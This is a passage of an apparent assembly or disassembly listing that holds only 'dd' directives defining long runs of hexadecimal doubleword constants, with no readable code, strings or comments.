389577FDh, 4A46DF20h, 0C18AAE18h dd 0A15CDC74h, 76AC006Ch, 0F196A3A9h, 9390C29Ah, 0ACA54009h dd 0EA042F66h, 4A687450h, 21B8417Ch, 11AF0AAh, 0E90015EEh dd 5500834Fh, 0DF22C2FEh, 0CA0D0F2h, 9D91F427h, 2B59AE49h dd 4A1D0764h, 443094BDh, 3D78425Ah, 0D00E087h, 4927C83Bh dd 2D3D1B4Ch, 88608607h, 69F276h, 8B051418h, 38715199h dd 919B311Dh, 0D359F100h, 101409D4h, 9CB1822h, 0A0DF6F8Bh dd 0C1757B30h, 5D01F43Ch, 0F610306Eh, 0AC5EC1E2h, 3C3190ADh dd 5BCBE422h, 0BC3F4080h, 0E8E9C875h, 5601276Fh, 0A436E35Fh dd 31F1B4D4h, 535DE0h, 4E3ED0F9h, 916CE62Bh, 7BE34C02h dd 0E16BC41Fh, 2511CC48h, 0FE1430BFh, 224704Ch, 4497762Bh dd 5C58C8FBh, 0B34AF7h, 6A1E1220h, 0C10062FFh, 405A0C96h dd 7832AA3h, 0EC0E7B6Eh, 3090A54Bh, 161CF6C0h, 8020705Dh dd 6E2DE4D9h, 0F3548C81h, 0C600BAB0h, 634A7BE4h, 29751CEh dd 0E2B08813h, 6C68AE42h, 0F81E4ED5h, 0FB4038B8h, 76544192h dd 0B70200D9h, 91572E94h, 9CA82D48h, 1CB297F0h, 0BB00B57Bh dd 19881F4Dh, 3CED09h, 9E71D258h, 65C6C898h, 4A01C898h dd 0C91D6D11h, 0D44EF933h, 31D60284h, 85E4D3C7h, 40F74B12h dd 95F3D46Ch, 9F02BA55h, 4C13FA6Ch, 20BD601Ah, 0C0AD74FEh dd 46C07829h, 1949B306h, 69007924h, 753BF2B4h, 923D1A48h dd 768B1D90h, 1E93417h, 4FBD0234h, 0AF44FC22h, 98A17F3Ah dd 0EBA13B48h, 3D911873h, 64E3916h, 112B7830h, 7ADACCABh dd 178603A7h, 7719C34Bh, 7C007CCEh, 1C43AF70h, 246F756Dh dd 86C4A398h, 5191F266h, 25FCD4B0h, 1CB1F724h, 5DD40580h dd 0FA38EDh, 434A7F55h, 68801A62h, 0C3318D0Fh, 85C07CA2h dd 5DE45C52h, 0B8AE6196h, 714874F6h, 71A8483Fh, 0FD5C1554h dd 0D0E57433h, 905DA1C6h, 0EEB440D2h, 210D2B2h, 6DAF5900h dd 3439C28h, 4C2C80D4h, 56CE003Ah, 4FF98514h, 0A509466Fh dd 18C206B2h, 488FD708h, 76C2AC45h, 3C726F91h, 893D95E0h dd 7E478406h, 3C9029D2h, 7502178Fh, 3CE0C2Ch, 5424E442h dd 0C4118700h, 0A7E2C348h, 22B3026Ch, 0A0D12A6Fh, 7C12D489h dd 19AF3E40h, 7B7C30F7h, 32AE3A15h, 0F7301F84h, 75048979h dd 407012AAh, 0E883BE02h, 0B1E55CE7h, 399FB00h, 48C79C7Eh dd 0CDF66512h, 5F869890h, 7DBCFC83h, 1D220A54h, 0E1A09126h dd 2950F40Fh, 449812DCh, 5C6495h, 0A0AE08A4h, 30457602h dd 0D41880AEh, 0D1B6CAh, 0CF58E13Ch, 431CF185h, 8090AD4Ch dd 6B0F1555h, 0BD293B54h, 0E7FD9900h, 0DFF1E987h, 401E5D00h dd 10127516h, 4D063CF2h, 9EC00906h, 9749A839h, 0BD811514h dd 0F283009Ch, 98A69CCh, 0A13AEC2Bh, 4211FDCh, 0EBFB048h dd 981CC4FAh, 0EBD062B1h, 0FBD06076h, 48D4B8A3h, 5DCAA8EFh dd 74813DEh, 34FDF50Ch, 9F103AFBh, 0C128C3D5h, 4EF1A8BBh dd 401C50AEh, 0A05E008Ch, 40DFD393h, 0F872E619h, 1270C03Fh dd 44028E3Eh, 481D9695h, 0C0A5D4D4h, 0B0025259h, 90E47124h dd 0CA81381Ch, 31CFF340h, 5DAC0193h, 980DE008h, 42411F9Ah dd 0D4A097D0h, 0EB6D5511h, 18D86000h, 0E14D5B8Ch, 9CF4034Bh dd 0AB76BF5Ah, 0E62CFAD0h, 98F6C706h, 0EB9C4ECh, 0F8752AD7h dd 0DDEFC960h, 3173760Bh, 98F70309h, 41EC924Bh, 7510A310h dd 9A01481Fh, 0CA594E49h, 50641DE3h, 5092AC8h, 6B1B00A8h dd 5429A3BFh, 0B512F918h, 4020CC62h, 50E6C046h, 0B0DB8C36h dd 885D54B4h, 743B006Dh, 9C484D1Fh, 0A09079FEh, 0A23CC80h dd 9F335200h, 3847749Dh, 6CF806CCh, 0D1A319E0h, 38E57634h dd 76ADCC88h, 93C3006Dh, 7816902Ah, 76014F8h, 0E33BBB49h dd 0FB6601B6h, 89AC9CE4h, 321848E5h, 5E018503h, 0EB3E9B34h dd 22C000F6h, 94565B5Fh, 67003B84h, 0B78CBA30h, 1F40BE11h dd 0B9C78B7Ch, 0DE9C1681h, 0F8869FA0h, 5B00D3D4h, 0C3DBFCD2h dd 38A38D88h, 285C334Ch, 0CAB8EA31h, 4AF18786h, 9BB5C915h dd 81F89C08h, 0EFDDD29Eh, 0C5F18096h, 978C1CB8h, 0C4E4020Ch dd 24194ECAh, 0CDC64C48h, 2FC8D754h, 91018374h, 0F44D4301h dd 0AC34B45Bh, 40775B75h, 0AF23877Ch, 880008F5h, 0B18EA639h dd 0E5622E7h, 4510F3C9h, 4E84FAAh, 0B469554Dh, 41C0B5D8h dd 30C9CEE1h, 0A17100E3h, 0BC084E9Eh, 2648353Fh, 45DA0127h dd 0E90DA40Eh, 880BD045h, 3630B065h, 6DD411E1h, 80F08A19h dd 0E4E58580h, 0F3F8FDh, 0D99D27F4h, 4AB30F55h, 9B533214h dd 707304B8h, 4C3ABC6h, 0C568988Eh, 60120C30h, 8221D12Bh dd 58ADD541h, 9F91E81Dh, 0E2C8CD81h, 889BF819h, 0C9B3BF0Ah dd 8360887Ah, 1CF46FCAh, 406337ABh, 3E6A2E96h, 0A3B279Dh dd 68D913F9h, 93B5C09h, 445CE744h, 7A5060A4h, 0B2A6005Dh dd 8A890182h, 435937F8h, 35A1044Ch, 7CC897CBh, 0F89C2DBBh dd 15C96480h, 0BE00FF93h, 7A34C3FAh, 1605F2Fh, 9748A5E5h dd 0D4F53D8Ch, 7300E139h, 0ED275369h, 464C54h, 878C9576h dd 6ECEC8A4h, 0F91B700h, 0F2E4D53Dh, 9B2A00B6h, 8CF4FCE0h dd 7500195Dh, 0E33A8D95h, 304788FEh, 7660C24Eh, 830E0B7Eh dd 808A97C0h, 0A0387D18h, 4B390C2Ah, 0B5688FD0h, 28ED8001h dd 0DEF01486h, 0DFD2ECh, 89E740CDh, 7B0C2EFh, 0EB0047EAh dd 0D0B5ED0Dh, 0B7201Eh, 0CAEED5DDh, 475791B0h, 2556F500h dd 1E4B4AA6h, 18A90160h, 0ED8DC810h, 8032F1B1h, 0E72E9A99h dd 466493h, 6F779E9Dh, 708543E4h, 0EE09D70Fh, 2F496144h dd 0C880612Ah, 0EDA9195h, 0D601C1ADh, 0EB874B15h, 0DCF45799h dd 7028003Ah, 4D18A04Ch dd 2E00CA79h, 1446BD24h, 0C300D3Dh, 0D16D1517h, 0BF0CE518h dd 304B294Dh, 98FD001Dh, 3AD073CCh, 70C672E4h, 4798A1Eh dd 5B5A4DF4h, 0A4C0807Bh, 897B6E4Fh, 81B4E300h, 0DCCA5590h dd 475100CCh, 0A072DBCDh, 0E273D6A3h, 0B7F07800h, 9D81A668h dd 60DD00C8h, 1F94C97Eh, 0C400509Ch, 62A538E0h, 0CC3276h dd 0BF7E1C35h, 45AFAC0Bh, 470E16E2h, 86420EA0h, 20603Ah dd 7FAC96FDh, 0BD4A4627h, 0E1E5D100h, 2A0CC941h, 62C00064h dd 0F1D9B7E2h, 8EF84237h, 3EFAB648h, 0AF6A1D09h, 2BA31C00h dd 0F188B8CEh, 20B52088h, 3C1F2200h, 510FE1Ch, 0CDF41B6Ah dd 0A8CF18D8h, 58863AECh, 450AED9Dh, 985441F5h, 4B5F21C4h dd 5D0AA507h, 5E70FAC2h, 6F565F6h, 0E1620CCAh, 0A2017054h dd 0D419271Eh, 3442DEC2h, 0A88B077h, 45A808ACh, 386414BDh dd 0AC99FE40h, 0AF017924h, 0F3D2E1E3h, 0C9BE4B1Eh, 97005A58h dd 0B15D20FFh, 78C06B59h, 0E88CE099h, 1BE00DBh, 34FA9039h dd 4000A83Ch, 330829D0h, 2EDBBB25h, 4C35AAh, 0AD5CB795h dd 0CD00FD2Ch, 7C527957h, 158487Dh, 0B1A9F79Ch, 0D40C3083h dd 0E8018731h, 26D97170h, 45A8884h, 394930CCh, 0DF0F04A7h dd 0FFD86E5h, 946A0610h, 95EC115h, 0BF2F4601h, 0BDDFB416h dd 1C433CD1h, 7D08185Dh, 86FA40D5h, 817C8Ch, 84236431h dd 7938B5C0h, 0D06BD831h, 8B27216h, 18856950h, 0C84C46AFh dd 0B36C093Bh, 326818A1h, 343988A5h, 4A3D9098h, 0D15018D0h dd 60A97C10h, 4209BCBCh, 20C8E5C3h, 0EE96F039h, 0C8DBCC81h dd 0B209CABEh, 73C601Ch, 3065A54Eh, 0C4A1D08h, 313E14DCh dd 0B970D1FCh, 0B3FE208Ah, 0A104D24h, 11960450h, 67C042B0h dd 39FE173Dh, 0A5A97B8Bh, 847C00ECh, 0AD527E77h, 163A2876h dd 0E4FC52A8h, 52AC042Fh, 71F40E1Fh, 0A460953Fh, 0B98B1FB4h dd 33F6DF80h, 4DC885Dh, 49EDF57Fh, 663D2032h, 0A3D40237h dd 86FB23E7h, 0E0127400h, 5D34080Fh, 0FD0471F2h, 0FB033C91h dd 4901AD7Ch, 88186AD7h, 1FED3DD6h, 1AA77EFCh, 60E72711h dd 248E1A81h, 0DC718085h, 58C0FD72h, 2F5014F2h, 6B063448h dd 4801A018h, 24396C00h, 56D717C9h, 639D0304h, 829CF0E8h dd 27A03EA0h, 0AFA5241Ch, 6C723D01h, 6D3151Bh, 465DB2A8h dd 47200884h, 8E7C0A80h, 0B38C49FDh, 9608548h, 63C04AF0h dd 645E0EF4h, 0F8026BE2h, 72C081A5h, 6EEA9E4Dh, 0A2F10300h dd 3EEA9588h, 0C2940573h, 20B9EF05h, 150419C4h, 8CEE5028h dd 2AC9100Ch, 8EE8C2h, 0A831CA27h, 0A2749566h, 799289C1h dd 6BE16E01h, 1D7CD170h, 4268847Bh, 8174C907h, 0D464F0A0h dd 70317191h, 0E6C4C13Ah, 242C1F0h, 7B7E783Bh, 0FC80FA01h dd 3979341Dh, 5071921Ah, 0E6700668h, 7A801E08h, 8FD0E455h dd 1D38B0h, 6A79D272h, 0E80D3105h, 2187C223h, 0CA573C0h dd 92F5D86Bh, 7528C8A1h, 1848AC8Eh, 4AEE000Ch, 65227785h dd 79DCE35Eh, 0A3BB0926h, 2C045088h, 0A86C4AF7h, 90876BE7h dd 0EB01F60Fh, 6712AFD3h, 4DFD2434h, 0C101789Ch, 0ACD55657h dd 10B84AEEh, 0C1C8FCD8h, 1A038B80h, 13DC6671h, 15925FDh dd 424311F8h, 0B29ED808h, 6CF0200h, 6B771ADAh, 50184D1Bh dd 0F7E00576h, 149341Ch, 6FB4C2A4h, 7EE814Bh, 886D22DAh dd 7932C0C4h, 0B7166h, 0FFAB4D6Ah, 0ECE79641h, 0A5E6BC01h dd 0FD163382h, 141BA041h, 191DA424h, 0C9C24375h, 9190439Ch dd 5B90EE4h, 0B80A7EBFh, 689C845Ch, 0E7821703h, 284C871Ch dd 0ECD20073h, 0EB98B08Eh, 8CA5F49Ch, 1A089411h, 21B45174h dd 0F7960C87h, 0FA072C31h, 481828EFh, 41A13065h, 2C29A8C8h dd 0BC2E491Ch, 98B1B4E4h, 0C0888176h, 7C468208h, 294561F1h dd 40BBBAE7h, 0D0F828F6h, 0B046E900h, 17F1EFE4h, 2F40C49Bh dd 0A710087h, 70BD92ECh, 3C183376h, 29214191h, 0EB62012Dh dd 8186F67Fh, 0A2F28179h, 5848963Dh, 29853A2Fh, 38D19067h dd 7607660h, 0C9F0A132h, 7F294ED0h, 0D8620148h, 77A2BD7Dh dd 0E9D1F010h, 0B3B2570Ch, 487660F6h, 0D00EB872h, 0FDE38ABBh dd 0F1E3A302h, 77167901h, 4BD1FAFEh, 34008055h, 0C47196D6h dd 44B0A43Bh, 48B5F8Ch, 0BF465988h, 7E1493F3h, 32DFB8D0h dd 6286A51Dh, 8C64C640h, 0AAFB15Eh, 540EEFE7h, 0A51C048Ch dd 9F591F80h, 0C8480710h, 84EF481Eh, 0D3FD8506h, 0C602802Eh dd 7BF480BCh, 32D11028h, 94C4771Eh, 0DC456306h, 0A7A0778h dd 0C17BF178h, 223C1B74h, 77D73EC8h, 0E93A711Ah, 0BCA5C010h dd 0D9DC0507h, 495D8774h, 2480B1C8h, 0C71A647Bh, 9DE07900h dd 0B5185B8h, 60B115h, 0D52AC329h, 0E0058C7h, 51A6E0CAh dd 7C6D7492h, 6A520046h, 6CB832E8h, 1A007D45h, 2F013D54h dd 4F663Fh, 0C33C2ADDh, 7F25A2Dh, 0FEB10209h, 0E02C007Bh dd 0F85EF9E7h, 0F6C578A8h, 486EEA7Eh, 0BC1F90F7h, 85180036h dd 5FB916E0h, 809128C4h, 9D68425Fh, 2863BC31h, 0ACB82911h dd 1181ED11h, 1E08738Ch, 0E041784h, 0F9045980h, 726C4486h dd 51B8424Eh, 0D588B2A5h, 44C6807Fh, 5C98F00h, 7595DFBAh dd 8AF292h, 0A91F1A65h, 487F9A36h, 87BC39h, 190150BBh dd 0DE0714h, 2313803Fh, 0C47D6D5Ah, 6C15A200h, 0AC32D097h dd 0BFA300E0h, 0DBD4BE27h, 0A67CF41Fh, 883A46B0h, 0EA5C8E5Ah dd 0FD65E01Ah, 0C0A505h, 72A34D77h, 36A6DCCCh, 46A20900h dd 43FE417Eh, 0F223076Ch, 40CF65ADh, 8A60ED1Ch, 98ABCD00h dd 0BBFB64DBh, 0E37949h, 57A14C92h, 1DB0FC6Ah, 6BA8B700h dd 4A9E3861h, 1C3100FDh, 97C587C7h, 9F00B86Ah, 4B63B04Fh dd 0ECD6965Ah, 0BAF0048h, 0F1DCC50Fh, 53E6022Bh, 2325EF00h dd 924D9896h, 0A01502DAh, 342812A4h, 0F55AB440h, 0D0CA3300h dd 41394A3Eh, 0EF040090h, 51C48FACh, 0F61E83E3h, 3EF5EAh dd 53396803h, 75583349h, 0D1060472h, 80DDFF37h, 0D86AAA94h dd 0C4266301h, 0D6E2C1CAh, 302AEE4h, 1384920Ah, 90DF5CE4h dd 0E94449A9h, 5B2B3000h, 85087D6Fh, 285E008Fh, 121F261Dh dd 0B2006E42h, 0CA57A337h, 48EF759Eh, 5C0E2AA7h, 89E0AE68h dd 4AFB9A69h, 2DCB5700h, 746DF43h, 2BDC1EE8h, 0C5D65Fh dd 0F68198DBh, 0E0013499h, 0EC15004h, 0B0243F2Eh, 7CF80093h dd 0F505CC91h, 2401A2A7h, 2AD3D819h, 0FC476C9Bh, 99CE1A90h dd 11B20098h, 7A355BFFh, 55000EB3h, 0A39BD41Bh, 72EF6C4h dd 8CE38802h, 0A1C58117h, 6C54607Fh, 0DE433Fh, 9EA8FAA9h dd 0CB4C82h, 40683D81h, 59568EEEh, 9263C300h, 73AE1E97h dd 0DE7216h, 0CFDC4F0Ah, 0A29E7035h, 2C70C00h, 27D35BECh dd 97FB0061h, 0A518DFE0h, 1DE60E8Ah, 4E591200h, 8CD6F3CBh dd 7FE90009h, 2A22C32Bh, 0CD000701h, 23EAC096h, 79AE6E1h dd 8D6B0EFDh, 5BE5B0F9h, 380098C8h, 94F6C1F1h, 0A6575Eh dd 5030CD86h, 8EA86A13h, 586CD100h, 0D0761421h, 5683006Bh dd 8290A4A7h, 0EB00C87Ch, 0FEA26A74h, 5A37A8Ah, 0E4F7DC2Fh dd 4C880148h, 70F035AFh, 33794492h, 71A27C00h, 5501936Bh dd 62140EC7h, 0DC404A70h, 35D9FF20h, 0F7FE4600h, 11EBE3DBh dd 0E5A0A0B0h, 25CA0056h, 98A0D861h, 993E93CEh, 55229EF6h dd 67E7AC00h, 32D1356h, 953EB1E6h, 41C8360Fh, 5D00AF53h dd 9CC76D6Bh, 0E81D2Ah, 38B6463Fh, 0E1396E84h, 49260418h dd 1E6CEEAh, 8331C1EAh dd 20CDC60Dh, 7F002408h, 933F4BA3h, 0CA1CDAh, 2BB8C103h dd 572704E7h, 0F1225A00h, 0C0E9C8F7h, 0AF9D00BFh, 0CEB865A8h dd 0F498A7ECh, 3A00F2B0h, 0AD967780h, 143BA34h, 8B56E05Eh dd 0C05DC53Eh, 15079EDEh, 0FCF54F0Ch, 0C3F9E3h, 48251C10h dd 2378943h, 47FA600h, 9727C0C1h, 130903A2h, 0F83F7E68h dd 37DDB3C8h, 1BEDC403h, 0A25DB2BFh, 8B86606Ah, 9F6600A0h dd 9A4144A2h, 4A1E0146h, 780135C7h, 81184EDAh, 1CE0ECFCh dd 56CC8F1Fh, 0D7E0073h, 6641D0C9h, 1D2070D4h, 0B5006B4Fh dd 0E104E49Dh, 0CA0600D2h, 51989408h, 700995F3h, 9FAA10h dd 6E759318h, 9BA500C1h, 0A191CA6Dh, 0AF00B837h, 66EB5B1Dh dd 79DF31Eh, 7A2A9B08h, 2B8D30DEh, 0B008195h, 8FFCAD10h dd 1E16250Ch, 5FE1CC56h, 49F14086h, 0F613E5A8h, 9DE6E900h dd 0C1AA37Ch, 0AF952CE3h, 6AF80080h, 476139DBh, 0C35B0500h dd 9775B843h, 94C7006Fh, 0BB252803h, 0D0186A36h, 8270ECE4h dd 0E2A2EE4Ah, 3ED10927h, 0E18089C0h, 3FEE72D2h, 0A98AF04h dd 4480B818h, 1CDB3526h, 89FAC5CEh, 0D800A7B0h, 7AC932B4h dd 0F101C30Eh, 4EEB6059h, 0E87D405Ch, 14110003h, 6FB527D4h dd 24C0EF84h, 7DA2E0FDh, 3ADCE692h, 0AD87EC0Dh, 0D270F92Ah dd 58C86CE9h, 477F660Fh, 40977E09h, 508C00FDh, 0E68DF3h dd 3A48089Ch, 4674C0Dh, 5B58004h, 2C7D7F8h, 0A9DF4050h dd 256100DCh, 335717F7h, 0F8E80263h, 4DFA6000h, 37D2201Bh dd 496800ABh, 0D9D7192h, 0CC0474B1h, 58104342h, 2CDBACC0h dd 0F9DE00ABh, 0D9130B22h, 46004060h, 0D34B8AFAh, 2B838Fh dd 0D8E61A05h, 0B5D781D0h, 0F4EABD00h, 1747DE56h, 0F85B0083h dd 3F80C3E9h, 1900B4C0h, 414F44ACh, 47A891Fh, 0F1063F4h dd 0E7E4806Fh, 92014346h, 7B7C66A8h, 0F7D3BE52h, 0F095050Fh dd 76D20480h, 8DECD7h, 7CC8D91Bh, 29D67BCh, 3B0B7401h dd 71AC11B3h, 0A9BC8h, 4C6D694Dh, 0A2D938B0h, 36B6158h dd 0A79CC165h, 93D499A1h, 1B284F0h, 9F281709h, 6DE91CC8h dd 9D440408h, 0F480A82Eh, 39A9B1Eh, 0EA0C16D4h, 338B662Ah dd 5589C180h, 0F6F380Eh, 8EE5C764h, 0F81223C0h, 0FFC0078Ch dd 47172A5Dh, 0E54290B2h, 0A7000BADh, 0A1CAC51h, 0F42ED183h dd 411800DBh, 9F67501Dh, 8730FF5h, 7771ED00h, 44DDB5D5h dd 0B11000C4h, 8E5D858Ch, 4C00FA07h, 3143A809h, 0ED4FCBh dd 0B669C514h, 68A55BD0h, 0BEC2B700h, 33D22172h, 6BF0A84Ah dd 353900D8h, 29BD340h, 0CCBA4329h, 0ECD67600h, 0E3BBCDE8h dd 0E75B005Eh, 48C05225h, 62003BEDh, 7180E26h, 2F10514h dd 10A74E98h, 0F080AF73h, 49F06034h, 3D2874Ch, 0E4A294BFh dd 39C9E064h, 0ADE2EEh, 0F9E1C45Ah, 0FD60C5EBh, 0C0AC1713h dd 4A9A8803h, 0C368B35Bh, 0C0D49Dh, 0A2711h, 2080EA47h dd 5D08D415h, 7D601E01h, 48D39C01h, 0FE0DB828h, 0E1E01C82h dd 7B2DF42Eh, 6259AD0Bh, 94FA0118h, 0EC20B2BEh, 0D65E0778h dd 0D7E0E504h, 3F97BDh, 8742F7C4h, 0A96FD500h, 0C5B95A13h dd 0D0FB030Bh, 0B1BD15D8h, 0F16247F8h, 1F00F2FEh, 0CC67B003h dd 543734h, 0A3D10F15h, 0D7B2A7E1h, 86E8FA00h, 7E6FCA8Eh dd 397B00B6h, 0C9F7C8Bh, 0FB0057A0h, 0E5326B2Eh, 63EE88h dd 0DD6138C7h, 3B4D8D12h, 51EAE476h, 532A19C1h, 35ECA78Ch dd 2D160042h, 98957F67h, 1800411Bh, 83EA486Eh, 10C25B4h dd 3B37E9ADh, 2056945Bh, 0C970701Fh, 2261B900h, 60C7C82Fh dd 98280BE5h, 67815D36h, 0CC3F34DDh, 9350D687h, 2F030FA4h dd 41EE5197h, 0E59DB90Ah, 88FA434h, 1A63CF47h, 0E469DD00h dd 0E609B741h, 0B4E3EE9h, 283C8A00h, 4ADB983Ah, 0B07CCA2Ch dd 1401B212h, 3DE6CB48h, 775A130Bh, 9210F0C3h, 0E853BDh dd 1269220h, 70E65153h, 5A0006E8h, 0BF015EFh, 84FA72h dd 0D971FE2Bh, 8DF9421Ch, 0D60099EEh, 7C95759Ch, 185815h dd 25451472h, 4B8756A4h, 8F417F00h, 33C6F74Dh, 90823FB2h dd 1078FD09h, 0C8F81000h, 44049CCFh, 8C45283h, 8A370CC0h dd 167F000Bh, 339E5A38h, 640173ADh, 74F6BE7Eh, 0B4DC59DFh dd 0F412002Fh, 24155701h, 1F01B14Bh, 6CE5058Dh, 0F0817DE0h dd 0A1B463B0h, 0CF5DF87Ch, 79C8DB00h, 1CEDD0EFh, 75BE4F3h dd 0C78D2BFFh, 9F81F131h, 0E86F2126h, 0C00006F5h, 0A17DD763h dd 748A002h, 0F6798B09h, 0D5D98298h, 3E0048CEh, 6551CCE6h dd 2DEC769h, 0F5B8A720h, 0FF60B3AAh, 0AE00685Ah, 5DE83483h dd 4FEB9C03h, 0D6A4043Eh, 8CB4B010h, 3629AD1Ch, 5F5458Fh dd 1CC149ACh, 0EA21C7B7h, 26E3DC0h, 16596D17h, 28CCFA02h dd 0E5154900h, 4E431E1Fh, 59FE1264h, 0AF3C0078h, 2F6A9EEDh dd 0C3735100h, 0CEC5F9F0h, 0B0D00069h, 0E9964448h, 9C01F510h dd 8043CA88h, 87F4631Dh, 24782CF9h, 7705006Ah, 0A8ECA12Eh dd 304B9C00h, 39069B4Dh, 0D1200638h, 0B055D7D8h, 2E167400h dd 158E26A4h, 611F3A02h, 0F03D0981h, 7DE5E0AEh, 0A6F47698h dd 9132240Ch, 0E9B0AC3h, 16A0EA99h, 44A733A0h, 7606696Dh dd 29F2F411h, 0C64B0E50h, 62209FD2h, 4CD7DE8h, 995FF5Ch dd 1A60B48h, 3B8BF400h, 3D94FBD0h, 0D700ECE8h, 0E55040F1h dd 8C3F01D5h, 0C470134h, 4737F55h, 0D7FAEA40h, 352D0098h dd 29EA6260h, 0DD02A68Eh, 0D54FCFA5h, 97AC602Fh, 0BFE100BEh dd 8E439585h, 0DD092CF5h, 0E02BE39Ah, 7DB6D0Fh, 2D13A0CDh dd 2165C0E9h, 0A63AD9DAh, 433200DCh, 0AB35B8B0h, 0AA3F0025h dd 0FB72E4E6h, 0BF1D98A7h, 81F94EC7h, 917D6F59h, 1B30AC63h dd 28BA005Fh, 0A084C07h, 0B4014337h, 7B866A97h, 61D44D59h dd 38F44862h, 0BCEC6600h, 90576EBEh, 93994812h, 0F5BF64C0h dd 111E8460h, 1840A406h, 505629E4h, 0FB700Fh, 3272C1A6h dd 84B99851h, 8C022492h, 2790D6B8h, 0A3F8E122h, 4FA230h dd 0FD8A67EFh, 7D2BC801h, 5484C912h, 0F8742883h, 914C2E5h dd 4F9F8CDAh, 0EEEA3E00h, 0B34CECB2h, 0EBA80260h, 80546278h dd 4577C1D6h, 0A470E46h, 9901ABF1h, 399A304Fh, 0A6B80050h dd 5C432FF7h, 60EB00F6h, 576A0E95h, 0C012AED2h, 0AA02BD19h dd 0D0BA1431h, 61ED0068h, 337F7A8Ah, 0C32476F9h, 0A300744Bh dd 0EE9A1FE2h, 0CC1ECB4h, 258C18ABh, 61002118h, 82119E90h dd 1FC1F0Fh, 0D2F55A2Ah, 0D8E67380h, 301E0850h, 96C07ADEh dd 9D98A08Eh, 449406h, 38687BA4h, 0D3002BEFh, 5D248216h dd 87A0A9h, 0CD8C28C3h, 498A1461h, 0AF154B07h, 0D6B0C28Eh dd 366320h, 5106781h, 52828F4Ah, 3900FB7Bh, 13A0C27h, 59A46BEBh dd 7700D8ACh, 0C8638471h, 7500201Ah, 0A796A141h, 1C600DDAh dd 25FAB6h, 0DBBD5F1Bh, 0BA005B7Fh, 8FA3B09Eh, 0B0156D14h dd 8DD709E5h, 4080E050h, 1F05633h, 0AF6C271Ch, 0ACDDDE80h dd 9A37DFh, 642DB6F7h, 0E379A3A1h, 98C28C0Eh, 0C54EE029h dd 7594C88h, 71FBD297h, 1E31950Eh, 0ECBEC9A8h, 2124BD87h dd 80F16864h, 0A9556136h, 482CC0D2h, 89097E7Ah, 960002C5h dd 0A7567FE6h, 8F86B00h, 33AF5FCEh, 0CFFECBh, 0A3B1DE42h dd 2AA4B6A8h, 0A0326F6h, 0FD717B79h, 0DD3C858h, 98A90075h dd 2F9F77CFh, 0B33BCA4Eh, 9591060Eh, 7DAA03D8h, 0B04B1F54h dd 1FE1247h, 0F2CC8764h, 94F7FC85h, 7900E37Eh, 424BB498h dd 970E13h dd 0B320A176h, 0BA290F6h, 9F213800h, 2AE0E9DEh, 74102D2Eh dd 0F90046D6h, 30D31F19h, 1CDC023Bh, 5EA2E426h, 0BF1C8C50h dd 0E6DCC207h, 0D78D96C3h, 0C304FB7Eh, 0F2EEC0D9h, 192248C6h dd 8AE95D0Bh, 433A6883h, 0DA7D5100h, 0A099CA26h, 2C8E0089h dd 6A691280h, 3304A2D7h, 35524B9h, 87A770C0h, 0D4900FFh dd 0A3B270E5h, 165EEAD4h, 0F1DC8840h, 75032B3Dh, 95783206h dd 2E20419h, 0F7C934A0h, 0FC021CBAh, 0E51FB4A7h, 7C4DC052h dd 6B890188h, 0B106DE39h, 2831866Ah, 48B4AFh, 0F8D4BBB2h dd 0D6F4B5FFh, 2013B82Fh, 1D705D64h, 0A0333015h, 0B308D40Eh dd 0AA651E0Bh, 0B05CC0C4h, 8AF3007Eh, 0A61CB4A8h, 3000B614h dd 0FD963FF1h, 815410h, 0B5E00B77h, 0C883C92Bh, 3172C07Eh dd 5093B101h, 0B61208BBh, 3766460h, 5F1337DCh, 0FBC070EDh dd 0A095BF3Eh, 9B7C0A10h, 59CC03B7h, 0C5D920AAh, 0A17FDDC0h dd 0A534F43Ch, 3BE4C85Ch, 0D47138C3h, 8582E980h, 29AB0741h dd 0E87FDC1Ch, 0BE296B98h, 0BD240056h, 0CAEF06B0h, 7C2E379Eh dd 3E00DB4Bh, 0E54ED293h, 0C58600C8h, 8DB992AEh, 0DD1C65D6h dd 0BBC06BE9h, 0F082731Dh, 0FD4E93h, 82AE8DCh, 0DD7AEF66h dd 39B70300h, 50E625C6h, 0E0525454h, 24E74B5h, 0A134C7FCh dd 0D856BFB6h, 0E51E6980h, 792029C0h, 0E0B00AFBh, 0BB30EDD8h dd 6FF69900h, 0F4146DB6h, 0BF303CB0h, 818758DEh, 0A672009Dh dd 51BBB54Bh, 0B9004818h, 92FD012Ah, 0D15058h, 27E25270h dd 0E142903h, 0AD073400h, 847ABBA6h, 1E7B7347h, 3BC23E7h dd 76517E77h, 910160C6h, 0A6FE893Ch, 22CCDB55h, 2DB03A57h dd 233A8800h, 0C1C5E36h, 62B7500h, 0C4B4A4CBh, 0B85377E8h dd 6EA3006Ah, 956AF281h, 0D718EF39h, 0DB093FB7h, 2120C1E8h dd 70F363F9h, 0C0082AEh, 961CB82Bh, 0EA92F1E4h, 58B9607Fh dd 0E6391B68h, 0D8985200h, 0C19FC0B0h, 45E1006Dh, 0B86EE795h dd 7E033138h, 0DAB4A6E9h, 1B603CEBh, 48EA29h, 3A4E6B09h dd 2086DE97h, 0F4E0DFC3h, 87A96A00h, 4BDBBBC2h, 0A67E3A36h dd 0A2AA50E0h, 0AC006275h, 4434D9AEh, 0A09030h, 0A1F837B4h dd 2421E1AAh, 0E0B10203h, 0F1949B25h, 0C4DC853Bh, 99B26041h dd 8D701A8Eh, 949D2803h, 0BF12ED7Dh, 69D646h, 0F86FEE71h dd 29CF2217h, 0A1B70830h, 20422Ch, 0F369AC9Ah, 4875DC30h dd 0EB00E1F8h, 0B72585CCh, 8E3E93h, 781B69C3h, 0D09A390Dh dd 9519EE00h, 51277361h, 0A72C3AA9h, 18522CD0h, 0C0AC35F8h dd 881E6DCAh, 0F4C05105h, 0B2ADF676h, 9AA90064h, 32CD1A25h dd 0B34C67D2h, 0AF97078Eh, 5C9080D9h, 0A3FFD8h, 190F5435h dd 66309939h, 5F739E00h, 28A24640h, 0EC3D0008h, 0B9FFC69Ch dd 2A7B3142h, 77702900h, 0DC7DCF4Ch, 7ECE3C52h, 805BF41Ch dd 196846EAh, 0D80062BEh, 8952B4D1h, 0E0EBDC74h, 0F4BF0690h dd 28E3F949h, 22632D22h, 0BF103B12h, 4D118ECEh, 0BDF111FCh dd 1837A211h, 3511423h, 45E74068h, 757B2284h, 0BF8FF780h dd 8E71F003h, 9842DBE2h, 0EAB5B040h, 638D0036h, 8B4D81A2h dd 0CE00B204h, 734C89AAh, 3692Dh, 86FEF6D7h, 625FA431h dd 214F9300h, 0B2A0DE5Bh, 91FC026Dh, 5AB6E928h, 0B7AFB960h dd 84923300h, 315E2C4Ah, 1EC4F4DFh, 